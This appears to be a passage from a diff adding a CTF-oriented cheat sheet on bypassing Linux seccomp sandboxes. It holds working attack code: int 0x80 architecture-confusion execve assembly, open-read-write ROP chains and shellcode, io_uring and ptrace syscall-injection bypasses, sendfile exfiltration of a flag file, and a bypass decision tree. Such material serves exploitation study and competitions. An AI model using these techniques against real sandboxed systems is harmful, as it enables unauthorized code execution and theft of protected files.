|
+
| Mode | Set Via | Behavior |
|
|
12
|
+
|---|---|---|
|
|
13
|
+
| Strict mode | `prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT)` | Only `read`, `write`, `exit`, `sigreturn` allowed |
|
|
14
|
+
| Filter mode (BPF) | `prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, prog)` | Custom BPF program decides per syscall |
|
|
15
|
+
|
|
16
|
+
### BPF Filter Structure
|
|
17
|
+
|
|
18
|
+
```c
|
|
19
|
+
struct seccomp_data {
|
|
20
|
+
int nr; // syscall number
|
|
21
|
+
__u32 arch; // AUDIT_ARCH_X86_64, AUDIT_ARCH_I386, etc.
|
|
22
|
+
__u64 instruction_pointer;
|
|
23
|
+
__u64 args[6]; // syscall arguments
|
|
24
|
+
};
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
### Reading seccomp Rules
|
|
28
|
+
|
|
29
|
+
```bash
|
|
30
|
+
# Dump seccomp filter from binary
|
|
31
|
+
seccomp-tools dump ./binary
|
|
32
|
+
|
|
33
|
+
# Output example:
|
|
34
|
+
# line CODE JT JF K
|
|
35
|
+
# 0000: 0x20 00 00 00000004 A = arch
|
|
36
|
+
# 0001: 0x15 00 05 c000003e if (A != ARCH_X86_64) goto 0007
|
|
37
|
+
# 0002: 0x20 00 00 00000000 A = sys_number
|
|
38
|
+
# 0003: 0x15 03 00 0000003b if (A == execve) goto 0007 (KILL)
|
|
39
|
+
# 0004: 0x15 02 00 00000142 if (A == execveat) goto 0007 (KILL)
|
|
40
|
+
# 0005: 0x06 00 00 7fff0000 return ALLOW
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
---
|
|
44
|
+
|
|
45
|
+
## 2. ARCHITECTURE CONFUSION
|
|
46
|
+
|
|
47
|
+
**x86_64 processes can invoke x86 (32-bit) syscalls using `int 0x80`.** Syscall numbers differ between architectures.
|
|
48
|
+
|
|
49
|
+
### Attack Scenario
|
|
50
|
+
|
|
51
|
+
```
|
|
52
|
+
seccomp filter:
|
|
53
|
+
if arch != AUDIT_ARCH_X86_64 → KILL (blocks 32-bit)
|
|
54
|
+
if nr == 59 (execve) → KILL
|
|
55
|
+
else → ALLOW
|
|
56
|
+
|
|
57
|
+
Bypass: The filter checks arch correctly. NOT vulnerable to simple confusion.
|
|
58
|
+
|
|
59
|
+
Vulnerable filter:
|
|
60
|
+
if nr == 59 (execve) → KILL ← only checks x86_64 syscall numbers
|
|
61
|
+
else → ALLOW
|
|
62
|
+
(no arch check!)
|
|
63
|
+
|
|
64
|
+
Bypass:
|
|
65
|
+
Use int 0x80 with 32-bit syscall number for execve (11, not 59)
|
|
66
|
+
Filter sees nr=11, doesn't match 59 → ALLOW → execve executes!
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### x86 vs x86_64 Syscall Number Table (Key Differences)
|
|
70
|
+
|
|
71
|
+
| Syscall | x86_64 nr | x86 (32-bit) nr |
|
|
72
|
+
|---|---|---|
|
|
73
|
+
| read | 0 | 3 |
|
|
74
|
+
| write | 1 | 4 |
|
|
75
|
+
| open | 2 | 5 |
|
|
76
|
+
| execve | 59 | 11 |
|
|
77
|
+
| mmap | 9 | 90 (old) / 192 (mmap2) |
|
|
78
|
+
| mprotect | 10 | 125 |
|
|
79
|
+
|
|
80
|
+
### Exploitation Code
|
|
81
|
+
|
|
82
|
+
```nasm
|
|
83
|
+
; 32-bit execve via int 0x80 from 64-bit process
|
|
84
|
+
; Note: registers are truncated to 32 bits
|
|
85
|
+
mov ebx, binsh_addr_low32 ; arg1: filename (must be in low 4GB)
|
|
86
|
+
xor ecx, ecx ; arg2: argv = NULL
|
|
87
|
+
xor edx, edx ; arg3: envp = NULL
|
|
88
|
+
mov eax, 11 ; __NR_execve (32-bit)
|
|
89
|
+
int 0x80 ; invoke 32-bit syscall interface
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
**Constraint**: All addresses must be in the lower 4GB (32-bit addressable). Use `mmap(addr, size, ..., MAP_32BIT, ...)` or ensure data is on stack (which may be below 4GB on some configs).
|
|
93
|
+
|
|
94
|
+
---
|
|
95
|
+
|
|
96
|
+
## 3. ORW (OPEN-READ-WRITE) CHAIN
|
|
97
|
+
|
|
98
|
+
When `execve` is blocked but `open`/`read`/`write` are allowed:
|
|
99
|
+
|
|
100
|
+
### ROP-based ORW
|
|
101
|
+
|
|
102
|
+
```python
|
|
103
|
+
# Build ROP chain for: open("flag") → read(fd, buf, size) → write(1, buf, size)
|
|
104
|
+
rop = b''
|
|
105
|
+
# open("flag", O_RDONLY)
|
|
106
|
+
rop += p64(pop_rdi) + p64(flag_str_addr)
|
|
107
|
+
rop += p64(pop_rsi) + p64(0) # O_RDONLY
|
|
108
|
+
rop += p64(pop_rax) + p64(2) # SYS_open
|
|
109
|
+
rop += p64(syscall_ret)
|
|
110
|
+
# read(3, buf, 0x100) — fd=3 (first opened file)
|
|
111
|
+
rop += p64(pop_rdi) + p64(3)
|
|
112
|
+
rop += p64(pop_rsi) + p64(buf_addr)
|
|
113
|
+
rop += p64(pop_rdx) + p64(0x100)
|
|
114
|
+
rop += p64(pop_rax) + p64(0) # SYS_read
|
|
115
|
+
rop += p64(syscall_ret)
|
|
116
|
+
# write(1, buf, 0x100)
|
|
117
|
+
rop += p64(pop_rdi) + p64(1) # stdout
|
|
118
|
+
rop += p64(pop_rsi) + p64(buf_addr)
|
|
119
|
+
rop += p64(pop_rdx) + p64(0x100)
|
|
120
|
+
rop += p64(pop_rax) + p64(1) # SYS_write
|
|
121
|
+
rop += p64(syscall_ret)
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
### Shellcode-based ORW
|
|
125
|
+
|
|
126
|
+
```nasm
|
|
127
|
+
; open
|
|
128
|
+
lea rdi, [rip + flag_path]
|
|
129
|
+
xor rsi, rsi
|
|
130
|
+
mov rax, 2
|
|
131
|
+
syscall
|
|
132
|
+
; read
|
|
133
|
+
mov rdi, rax ; fd from open
|
|
134
|
+
lea rsi, [rsp - 0x100]
|
|
135
|
+
mov rdx, 0x100
|
|
136
|
+
xor rax, rax
|
|
137
|
+
syscall
|
|
138
|
+
; write
|
|
139
|
+
mov rdi, 1
|
|
140
|
+
mov rdx, rax ; bytes read
|
|
141
|
+
lea rsi, [rsp - 0x100]
|
|
142
|
+
mov rax, 1
|
|
143
|
+
syscall
|
|
144
|
+
flag_path: .ascii "flag\x00"
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
### When open is Blocked but openat Allowed
|
|
148
|
+
|
|
149
|
+
```python
|
|
150
|
+
# SYS_openat(AT_FDCWD, "flag", O_RDONLY)
|
|
151
|
+
# AT_FDCWD = -100 (0xffffffffffffff9c)
|
|
152
|
+
rop += p64(pop_rdi) + p64(0xffffffffffffff9c) # AT_FDCWD
|
|
153
|
+
rop += p64(pop_rsi) + p64(flag_str_addr)
|
|
154
|
+
rop += p64(pop_rdx) + p64(0)
|
|
155
|
+
rop += p64(pop_rax) + p64(257) # SYS_openat
|
|
156
|
+
rop += p64(syscall_ret)
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## 4. io_uring BYPASS
|
|
162
|
+
|
|
163
|
+
`io_uring` is a Linux async I/O interface (kernel ≥ 5.1). io_uring operations are handled by **kernel worker threads** which may bypass seccomp filters applied to the calling thread.
|
|
164
|
+
|
|
165
|
+
### Why It Works
|
|
166
|
+
|
|
167
|
+
- seccomp filters are per-thread
|
|
168
|
+
- io_uring submission creates kernel work items processed by kworker
|
|
169
|
+
- kworker threads may not inherit the seccomp filter (kernel version dependent)
|
|
170
|
+
- Patched in kernel ≥ 5.12 (`IORING_SETUP_R_DISABLED` and seccomp propagation)
|
|
171
|
+
|
|
172
|
+
### Attack
|
|
173
|
+
|
|
174
|
+
```c
|
|
175
|
+
// Setup io_uring ring
|
|
176
|
+
struct io_uring ring;
|
|
177
|
+
io_uring_queue_init(8, &ring, 0);
|
|
178
|
+
|
|
179
|
+
// Submit IORING_OP_OPENAT + IORING_OP_READ + IORING_OP_WRITE
|
|
180
|
+
// These operations execute in kernel context, bypassing user seccomp
|
|
181
|
+
|
|
182
|
+
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
|
|
183
|
+
io_uring_prep_openat(sqe, AT_FDCWD, "/flag", O_RDONLY, 0);
|
|
184
|
+
sqe->user_data = 1;
|
|
185
|
+
io_uring_submit(&ring);
|
|
186
|
+
// ... read completion, submit read, write operations ...
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
**Status**: Fixed in modern kernels. io_uring operations now respect seccomp of the submitting thread.
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
## 5. PTRACE-BASED BYPASS
|
|
194
|
+
|
|
195
|
+
If `ptrace` syscall is allowed by seccomp:
|
|
196
|
+
|
|
197
|
+
```c
|
|
198
|
+
// Fork child process (if fork allowed)
|
|
199
|
+
pid_t pid = fork();
|
|
200
|
+
if (pid == 0) {
|
|
201
|
+
// Child: wait for parent to attach
|
|
202
|
+
raise(SIGSTOP);
|
|
203
|
+
execve("/bin/sh", NULL, NULL); // will be intercepted by parent
|
|
204
|
+
} else {
|
|
205
|
+
// Parent: attach to child
|
|
206
|
+
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
|
|
207
|
+
waitpid(pid, NULL, 0);
|
|
208
|
+
ptrace(PTRACE_CONT, pid, NULL, NULL);
|
|
209
|
+
// Child's execve may succeed if child doesn't have seccomp
|
|
210
|
+
// Or: inject syscalls into child via PTRACE_POKETEXT
|
|
211
|
+
}
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
### Injection via ptrace
|
|
215
|
+
|
|
216
|
+
```c
|
|
217
|
+
// Write syscall instruction into child's memory
|
|
218
|
+
ptrace(PTRACE_POKETEXT, pid, addr, syscall_bytes);
|
|
219
|
+
// Set child's registers
|
|
220
|
+
struct user_regs_struct regs;
|
|
221
|
+
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
|
|
222
|
+
regs.rax = 59; // execve
|
|
223
|
+
regs.rdi = binsh_addr;
|
|
224
|
+
regs.rsi = 0;
|
|
225
|
+
regs.rdx = 0;
|
|
226
|
+
regs.rip = addr;
|
|
227
|
+
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
|
|
228
|
+
ptrace(PTRACE_CONT, pid, NULL, NULL);
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
---
|
|
232
|
+
|
|
233
|
+
## 6. ALLOWED SYSCALL CHAINING
|
|
234
|
+
|
|
235
|
+
Build useful primitives from seemingly-harmless allowed syscalls:
|
|
236
|
+
|
|
237
|
+
| Allowed Syscall | Primitive |
|
|
238
|
+
|---|---|
|
|
239
|
+
| `mmap` + `mprotect` | Allocate RWX page → write shellcode → jump |
|
|
240
|
+
| `mprotect` alone | Make existing page executable |
|
|
241
|
+
| `sendfile` | `sendfile(stdout_fd, file_fd, NULL, size)` → exfiltrate file without read() |
|
|
242
|
+
| `splice` + `tee` | Move data between fds without read/write |
|
|
243
|
+
| `process_vm_readv` | Read another process's memory |
|
|
244
|
+
| `prctl(PR_SET_NAME)` | Write 16 bytes to kernel-visible comm field |
|
|
245
|
+
| `memfd_create` + `execveat` | Create anonymous file → execute it (if both allowed) |
|
|
246
|
+
|
|
247
|
+
### sendfile ORW Alternative
|
|
248
|
+
|
|
249
|
+
```python
|
|
250
|
+
# If read/write blocked but sendfile allowed:
|
|
251
|
+
# open flag file
|
|
252
|
+
rop += pop_rdi + flag_str + pop_rsi + p64(0) + pop_rax + p64(2) + syscall_ret
|
|
253
|
+
# sendfile(1, 3, NULL, 0x100) — out_fd=stdout, in_fd=3
|
|
254
|
+
rop += pop_rdi + p64(1) + pop_rsi + p64(3) + pop_rdx + p64(0)
|
|
255
|
+
rop += pop_r10 + p64(0x100) + pop_rax + p64(40) + syscall_ret # SYS_sendfile=40
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
---
|
|
259
|
+
|
|
260
|
+
## 7. NAMESPACE + SECCOMP INTERACTION
|
|
261
|
+
|
|
262
|
+
### unshare for Filesystem Access
|
|
263
|
+
|
|
264
|
+
If `unshare` is allowed:
|
|
265
|
+
|
|
266
|
+
```c
|
|
267
|
+
// Create new mount namespace
|
|
268
|
+
unshare(CLONE_NEWNS);
|
|
269
|
+
// Mount procfs or other filesystems
|
|
270
|
+
mount("proc", "/proc", "proc", 0, NULL);
|
|
271
|
+
// Access files via /proc that weren't available before
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
### User Namespace Tricks
|
|
275
|
+
|
|
276
|
+
```c
|
|
277
|
+
// Create user namespace (unprivileged)
|
|
278
|
+
unshare(CLONE_NEWUSER);
|
|
279
|
+
// Inside: UID 0 (fake root)
|
|
280
|
+
// Can mount FUSE, access /proc differently
|
|
281
|
+
// Some seccomp filters don't account for namespace changes
|
|
282
|
+
```
|
|
283
|
+
|
|
284
|
+
---
|
|
285
|
+
|
|
286
|
+
## 8. RETURN VALUE MANIPULATION
|
|
287
|
+
|
|
288
|
+
### SECCOMP_RET_ERRNO
|
|
289
|
+
|
|
290
|
+
Some filters return `SECCOMP_RET_ERRNO` instead of `SECCOMP_RET_KILL`. The syscall fails but the process continues.
|
|
291
|
+
|
|
292
|
+
```c
|
|
293
|
+
// If filter returns ERRNO for dangerous calls:
|
|
294
|
+
// Process survives → try alternative syscalls
|
|
295
|
+
// Example: execve returns EPERM → try execveat instead
|
|
296
|
+
// Or: brute-force which syscalls are allowed vs killed vs ERRNO
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
### SECCOMP_RET_TRACE
|
|
300
|
+
|
|
301
|
+
If filter uses `SECCOMP_RET_TRACE`, a tracer (ptrace parent) can modify syscall number and arguments before execution.
|
|
302
|
+
|
|
303
|
+
---
|
|
304
|
+
|
|
305
|
+
## 9. DECISION TREE
|
|
306
|
+
|
|
307
|
+
```
|
|
308
|
+
seccomp filter active
|
|
309
|
+
├── Dump rules: seccomp-tools dump ./binary
|
|
310
|
+
├── Architecture check present?
|
|
311
|
+
│ ├── NO → architecture confusion (use int 0x80 for 32-bit syscalls)
|
|
312
|
+
│ └── YES → 32-bit bypass blocked
|
|
313
|
+
├── What's blocked?
|
|
314
|
+
│ ├── Only execve/execveat → ORW chain (open+read+write or openat+read+write)
|
|
315
|
+
│ ├── execve + open → openat? sendfile? io_uring?
|
|
316
|
+
│ ├── execve + open + openat → io_uring (if kernel < 5.12)?
|
|
317
|
+
│ └── Whitelist mode (only specific allowed)?
|
|
318
|
+
│ ├── mmap + mprotect allowed? → shellcode execution
|
|
319
|
+
│ ├── sendfile allowed? → file exfiltration without read/write
|
|
320
|
+
│ ├── ptrace allowed? → inject syscalls into child
|
|
321
|
+
│ └── Check every alternative: splice, tee, process_vm_readv
|
|
322
|
+
├── Kernel version?
|
|
323
|
+
│ ├── < 5.1 → no io_uring available
|
|
324
|
+
│ ├── 5.1–5.11 → io_uring bypass possible
|
|
325
|
+
│ └── ≥ 5.12 → io_uring seccomp-aware
|
|
326
|
+
├── Can fork/clone?
|
|
327
|
+
│ ├── YES + ptrace allowed → inject syscalls into child process
|
|
328
|
+
│ └── NO → single-process escape only
|
|
329
|
+
└── RET_KILL vs RET_ERRNO?
|
|
330
|
+
├── RET_KILL → process dies on violation (must avoid blocked calls)
|
|
331
|
+
└── RET_ERRNO → process survives, try alternative syscalls
|
|
332
|
+
```
|